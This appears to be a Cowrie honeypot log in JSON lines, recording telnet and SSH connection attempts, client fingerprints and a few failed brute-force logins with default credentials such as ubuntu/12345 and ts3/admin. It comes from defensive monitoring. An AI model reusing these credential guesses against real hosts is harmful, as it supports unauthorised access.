{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":33584,"dst_ip":"159.203.135.109","dst_port":23,"session":"08969af4aa5e","protocol":"telnet","message":"New connection: 69.6.225.50:33584 (159.203.135.109:23) [session: 08969af4aa5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:11:57.060410Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":47494,"dst_ip":"159.203.135.109","dst_port":23,"session":"b483ea42422d","protocol":"telnet","message":"New connection: 69.6.225.50:47494 (159.203.135.109:23) [session: b483ea42422d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:11:58.100518Z"}
{"eventid":"cowrie.session.closed","duration":31.12387776374817,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:12:01.042083Z","src_ip":"69.6.225.50","session":"e8877c0f870b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.805175065994263,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:12:01.209742Z","src_ip":"69.6.225.50","session":"87b4dcf0df43","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":54588,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ae57c3fae64","protocol":"ssh","message":"New connection: 68.183.236.1:54588 (159.203.135.109:22) [session: 8ae57c3fae64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:12:04.883013Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:12:04.887256Z","src_ip":"68.183.236.1","session":"8ae57c3fae64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:12:05.123872Z","src_ip":"68.183.236.1","session":"8ae57c3fae64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":47506,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ba528e8fee5","protocol":"telnet","message":"New connection: 69.6.225.50:47506 (159.203.135.109:23) [session: 7ba528e8fee5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:12:05.686818Z"}
{"eventid":"cowrie.login.failed","username":"web","password":"test","message":"login attempt [web/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:12:06.107380Z","src_ip":"68.183.236.1","session":"8ae57c3fae64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:12:07.347479Z","src_ip":"68.183.236.1","session":"8ae57c3fae64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.882084369659424,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:12:09.081966Z","src_ip":"69.6.225.50","session":"b7966356be26","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.65295124053955,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:12:13.057773Z","src_ip":"69.6.225.50","session":"6fe94907daaa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":40038,"dst_ip":"159.203.135.109","dst_port":23,"session":"010768ac35be","protocol":"telnet","message":"New connection: 69.6.225.50:40038 (159.203.135.109:23) [session: 010768ac35be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:12:18.490891Z"}
{"eventid":"cowrie.session.closed","duration":44.10512065887451,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:12:19.598388Z","src_ip":"5.61.90.139","session":"72d80d5dcb36","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":40046,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf789e890b33","protocol":"telnet","message":"New connection: 69.6.225.50:40046 (159.203.135.109:23) [session: cf789e890b33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:12:21.465420Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":40062,"dst_ip":"159.203.135.109","dst_port":23,"session":"d114573964d3","protocol":"telnet","message":"New connection: 69.6.225.50:40062 (159.203.135.109:23) [session: d114573964d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:12:22.855951Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":40074,"dst_ip":"159.203.135.109","dst_port":23,"session":"f111b50733b1","protocol":"telnet","message":"New connection: 69.6.225.50:40074 (159.203.135.109:23) [session: f111b50733b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:12:26.463335Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":40080,"dst_ip":"159.203.135.109","dst_port":23,"session":"0203bf61596a","protocol":"telnet","message":"New connection: 69.6.225.50:40080 (159.203.135.109:23) [session: 0203bf61596a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:12:26.612536Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":40088,"dst_ip":"159.203.135.109","dst_port":23,"session":"766b2b56c32a","protocol":"telnet","message":"New connection: 69.6.225.50:40088 (159.203.135.109:23) [session: 766b2b56c32a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:12:26.963287Z"}
{"eventid":"cowrie.session.closed","duration":31.07881808280945,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:12:28.139130Z","src_ip":"69.6.225.50","session":"08969af4aa5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.981935262680054,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:12:29.082318Z","src_ip":"69.6.225.50","session":"b483ea42422d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":51066,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f5382e45135","protocol":"telnet","message":"New connection: 69.6.225.50:51066 (159.203.135.109:23) [session: 3f5382e45135]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:12:33.591585Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":51074,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b6227101872","protocol":"telnet","message":"New connection: 69.6.225.50:51074 (159.203.135.109:23) [session: 5b6227101872]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:12:34.064192Z"}
{"eventid":"cowrie.session.closed","duration":30.7453932762146,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:12:36.432080Z","src_ip":"69.6.225.50","session":"7ba528e8fee5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46774,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd524b77c920","protocol":"ssh","message":"New connection: 159.203.92.129:46774 (159.203.135.109:22) [session: cd524b77c920]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:12:39.507085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:12:39.511651Z","src_ip":"159.203.92.129","session":"cd524b77c920","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:12:39.516126Z","src_ip":"159.203.92.129","session":"cd524b77c920","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"al","password":"al","message":"login attempt [al/al] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:12:39.527224Z","src_ip":"159.203.92.129","session":"cd524b77c920","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":41536,"dst_ip":"159.203.135.109","dst_port":23,"session":"9eb289d68625","protocol":"telnet","message":"New connection: 69.6.225.50:41536 (159.203.135.109:23) [session: 9eb289d68625]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:12:40.374021Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:12:40.533149Z","src_ip":"159.203.92.129","session":"cd524b77c920","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":41552,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb0eff2e2e61","protocol":"telnet","message":"New connection: 69.6.225.50:41552 (159.203.135.109:23) [session: fb0eff2e2e61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:12:40.659015Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":41554,"dst_ip":"159.203.135.109","dst_port":23,"session":"ace9afd00a26","protocol":"telnet","message":"New connection: 69.6.225.50:41554 (159.203.135.109:23) [session: ace9afd00a26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:12:44.870429Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":41570,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5c449b0003d","protocol":"telnet","message":"New connection: 69.6.225.50:41570 (159.203.135.109:23) [session: b5c449b0003d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:12:46.204183Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":41572,"dst_ip":"159.203.135.109","dst_port":23,"session":"05bf5260bcbd","protocol":"telnet","message":"New connection: 69.6.225.50:41572 (159.203.135.109:23) [session: 05bf5260bcbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:12:46.461354Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":41580,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f6eead0a044","protocol":"telnet","message":"New connection: 69.6.225.50:41580 (159.203.135.109:23) [session: 1f6eead0a044]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:12:47.495960Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":33254,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba0752f678d3","protocol":"telnet","message":"New connection: 69.6.225.50:33254 (159.203.135.109:23) [session: ba0752f678d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:12:48.225491Z"}
{"eventid":"cowrie.session.closed","duration":30.60837960243225,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:12:49.099144Z","src_ip":"69.6.225.50","session":"010768ac35be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":33266,"dst_ip":"159.203.135.109","dst_port":23,"session":"f88d8cd62d04","protocol":"telnet","message":"New connection: 69.6.225.50:33266 (159.203.135.109:23) [session: f88d8cd62d04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:12:51.702554Z"}
{"eventid":"cowrie.session.closed","duration":30.590457677841187,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:12:52.055750Z","src_ip":"69.6.225.50","session":"cf789e890b33","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.191287755966187,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:12:53.047116Z","src_ip":"69.6.225.50","session":"d114573964d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":33280,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9a773b09c96","protocol":"telnet","message":"New connection: 69.6.225.50:33280 (159.203.135.109:23) [session: e9a773b09c96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:12:54.285057Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.134.240.52","src_port":39090,"dst_ip":"159.203.135.109","dst_port":22,"session":"3818053c7f47","protocol":"ssh","message":"New connection: 91.134.240.52:39090 (159.203.135.109:22) [session: 3818053c7f47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:12:55.416599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:12:55.421839Z","src_ip":"91.134.240.52","session":"3818053c7f47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:12:55.498025Z","src_ip":"91.134.240.52","session":"3818053c7f47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12345","message":"login attempt [ubuntu/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:12:55.835327Z","src_ip":"91.134.240.52","session":"3818053c7f47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:12:56.916437Z","src_ip":"91.134.240.52","session":"3818053c7f47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":33284,"dst_ip":"159.203.135.109","dst_port":23,"session":"be22a416e8a6","protocol":"telnet","message":"New connection: 69.6.225.50:33284 (159.203.135.109:23) [session: be22a416e8a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:12:57.375065Z"}
{"eventid":"cowrie.session.closed","duration":31.282744646072388,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:12:57.745975Z","src_ip":"69.6.225.50","session":"f111b50733b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.248036861419678,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:12:57.860434Z","src_ip":"69.6.225.50","session":"0203bf61596a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.190813541412354,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:12:58.154016Z","src_ip":"69.6.225.50","session":"766b2b56c32a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":42042,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf3b1fcecf9c","protocol":"telnet","message":"New connection: 69.6.225.50:42042 (159.203.135.109:23) [session: bf3b1fcecf9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:00.950899Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":42044,"dst_ip":"159.203.135.109","dst_port":23,"session":"62c2452ce759","protocol":"telnet","message":"New connection: 69.6.225.50:42044 (159.203.135.109:23) [session: 62c2452ce759]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:01.160450Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":52710,"dst_ip":"159.203.135.109","dst_port":22,"session":"4eb8c370150a","protocol":"ssh","message":"New connection: 68.183.236.1:52710 (159.203.135.109:22) [session: 4eb8c370150a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:01.303460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:01.308907Z","src_ip":"68.183.236.1","session":"4eb8c370150a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:01.557419Z","src_ip":"68.183.236.1","session":"4eb8c370150a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"admin","message":"login attempt [ts3/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:02.578767Z","src_ip":"68.183.236.1","session":"4eb8c370150a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":42054,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8bee5cead17","protocol":"telnet","message":"New connection: 69.6.225.50:42054 (159.203.135.109:23) [session: a8bee5cead17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:03.290446Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:03.829827Z","src_ip":"68.183.236.1","session":"4eb8c370150a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":42056,"dst_ip":"159.203.135.109","dst_port":23,"session":"8406c0aca16d","protocol":"telnet","message":"New connection: 69.6.225.50:42056 (159.203.135.109:23) [session: 8406c0aca16d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:04.056875Z"}
{"eventid":"cowrie.session.closed","duration":30.486846923828125,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:13:04.078329Z","src_ip":"69.6.225.50","session":"3f5382e45135","protocol":"telnet"}
